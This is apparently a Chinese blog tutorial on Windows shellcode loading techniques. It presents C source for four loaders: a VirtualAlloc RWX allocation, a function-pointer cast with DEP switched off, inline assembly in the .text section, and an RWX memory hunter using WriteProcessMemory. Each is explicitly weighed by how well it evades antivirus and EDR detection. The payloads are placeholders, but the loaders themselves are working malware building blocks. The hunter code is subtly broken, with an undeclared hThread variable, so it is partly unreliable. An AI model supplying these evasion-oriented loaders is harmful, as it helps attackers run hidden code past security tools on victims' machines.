今天来学习一下shellcode
的各种加载方式、
动态内存分配
概念
在进程的内存空间中,你有没有想过执行一段shellcode需要什么?为了执行你的shellcode,需要完成三个检查:
- 1.内存是否被标记为可执行的虚拟地址空间,否则DEP将抛出内存访问冲突异常;
- 2.是否将shellcode放入了该内存空间;
- 3.是否将代码的执行流定位到该内存空间。
完成这三步可以使用API来理解,首先VirtualAlloc
分配出一片可读、可写可执行的内存,将shellcode
使用RtlMoveMemory
之类的函数复制到该内存空间,最后创建一个指向新分配内存区域的线程来执行shellcode
。
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| #include <windows.h> int main() { char shellcode[] = "\xcc\xcc\xcc\xcc\x41\x41\x41\x41";
LPVOID addressPointer = VirtualAlloc(NULL, sizeof(shellcode), 0x3000, 0x40);
RtlMoveMemory(addressPointer, shellcode, sizeof(shellcode));
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addressPointer, NULL, 0, 0);
Sleep(1000); return 0; }
|
值得注意的是,虽然这段代码将 shellcode
拷贝到了堆内存中,但这只是为了将其执行(因为已经赋予这片内存空间RWX权限了)。默认情况下受到Windows XP中引入的系统范围数据执行保护(DEP)策略的保护。对于启用DEP的进程,这将防止在此内存区域执行代码。为了克服这个障碍,我们要求系统将所需的内存区域标记为RWX。这是通过将VirtualAlloc
的最后一个参数指定为0x40来实现的,就相当PAGE_EXECUTE_READWRITE
。
缺点
WinAPI调用的使用很容易被成熟的AV/EDR系统检测到。
通过函数指针分配
概念
函数指针是指向函数的指针变量。在C语言中,函数名实际上就是该函数在内存中的地址,因此可以将函数名赋值给指针变量,从而使得该指针变量指向该函数。
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| #include <windows.h> int main() { char buf[] = "\xcc\xcc\xcc\xcc";
int (*func)();
func = (int (*)()) (void*)buf; (int)(*func)();
Sleep(1000); return 0; }
|
这段代码就实现了将shellcode的地址作为函数去执行。但shellcode此时在内存作为调试指令,并没有尝试执行任何非法内存区域的代码,所以也不会触发DEP。如果shellcode中包含了真正的恶意代码,可能会尝试执行或修改内存中的敏感区域,这时应该就会触发DEP。我们可以通过设置/NXCOMPAT:NO标志来简单地为已编译的可执行文件禁用DEP(对于VisualStudio,可以在高级链接器选项中设置)。这样,shellcode就会被顺利的执行。
通过这种加载方式,可以用来避免AV/DER的检测,并且这种方式加载,shellcode会在栈上作为局部变量分配,栈是可读可写的,就允许我们在这个内存区域中对shellcode进行加密。
缺点
DEP会阻止栈中代码的执行,需要在没有DEP支持的情况下编译代码。
.Text段加载
概念
代码段存在可执行权限,所以无需担心DEP抛出异常,问题在于如何将shellcode放置和执行在代码段。首先API函数不可用,因为代码段是没有写权限的;函数指针也用不上,将位于数据段的shellcode转为函数指针来执行也依然在数据段中。那么还有内联汇编这个办法可以使用。
代码:
1 2 3 4 5 6
| #include <Windows.h> int main() { asm(".byte 0xde,0xad,0xbe,0xef,0x00\n\t" "ret\n\t"); return 0; }
|
此代码是项目中的一个demo,使用Gcc编译环境就可以编译运行了。
因为没有API调用,所以可以用来避免AV/EDR的检测。
缺点
缺点很明显,因为没有可写权限,所以没有加密过的shellcode很容易就会被检测出来。为了避免被检测可以在内联汇编中进行代码的加密和解密。
RWX-Hunter
概念
意思很明显,就是去寻找内存中被标记为R-W-X的区域,既避免了使用高危API开辟空间,也无需担心会触发DEP警告。但这里还有很多问题需要考虑。
- 如何查找可执行的内存区域;
- 如何将shellcode放入此内存;
- 如何将代码执行流运行到此处。
进程4G的虚拟内存,范围从0x00000000到0x7fffffff,搜索范围就可以确定下来,用VirtualQueryEx
查询从0开始的内存信息,接下来判断是否为可读可写可执行的区域,如果找到就可以写入shellcode,我们可以用API来解决写入这个问题,或者使用函数指针也可以。最后执行也可以考虑API函数或者函数指针来调用shellcode执行。
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| #include <windows.h> #include <stdio.h> #include <psapi.h> #include <tchar.h>
LPVOID Hunt(DWORD processID) { HMODULE hMod; DWORD cbNeeded; TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>"); HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, processID); if (EnumProcessModules(process, &hMod, sizeof(hMod), &cbNeeded)) { GetModuleBaseName(process, hMod, szProcessName, sizeof(szProcessName) / sizeof(TCHAR)); } if (process) { _tprintf(TEXT("[*] Searching in %s (PID: %u)..."), szProcessName, processID);
long MaxAddress = 0x7fffffff; long address = 0; int c = 0; do { MEMORY_BASIC_INFORMATION m; int result = VirtualQueryEx(process, (LPVOID)address, &m, sizeof(MEMORY_BASIC_INFORMATION)); if (m.AllocationProtect == PAGE_EXECUTE_READWRITE) { printf("RWX found at 0x%x\n", m.BaseAddress); return m.BaseAddress; } else if( c > 50000 ){ printf("Still Hunting"); c = 0; } else { c += 1; } if (address == (long)m.BaseAddress + (long)m.RegionSize) break; address = (long)m.BaseAddress + (long)m.RegionSize; } while (address <= MaxAddress); printf("Nope\n"); } else { _tprintf(TEXT("[*] No Access for %s (PID: %u) \n"), szProcessName, processID); } return 0; }
void Exec(LPVOID address, DWORD processID) { printf("[*] Exec Shellcode... "); char shellcode[] = ""; HANDLE procHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID); WriteProcessMemory(procHandle, address, shellcode, sizeof(shellcode), 0); hThread = CreateThread(0, 0, (LPVOID)(address), NULL, 0, 0); printf("Done \n"); }
int main() { printf("Starting Search \n"); LPVOID spaceAddress = 0; DWORD currentProc = GetCurrentProcessId(); printf("Current PID: %d", (int)currentProc); spaceAddress = Hunt(currentProc); if (spaceAddress > 0) { Exec(spaceAddress, currentProc); } else{ printf("Error!"); } Sleep(10000); return 0; }
|
代码借鉴于https://github.com/csandker/inMemoryShellcode.git
缺点
无法绕过代码执行时的高危API函数,但也许在关联检查时可以绕过一些AV/EDR。再进阶一下,使用API隐藏技术进行API的调用,或许可以免杀绕过。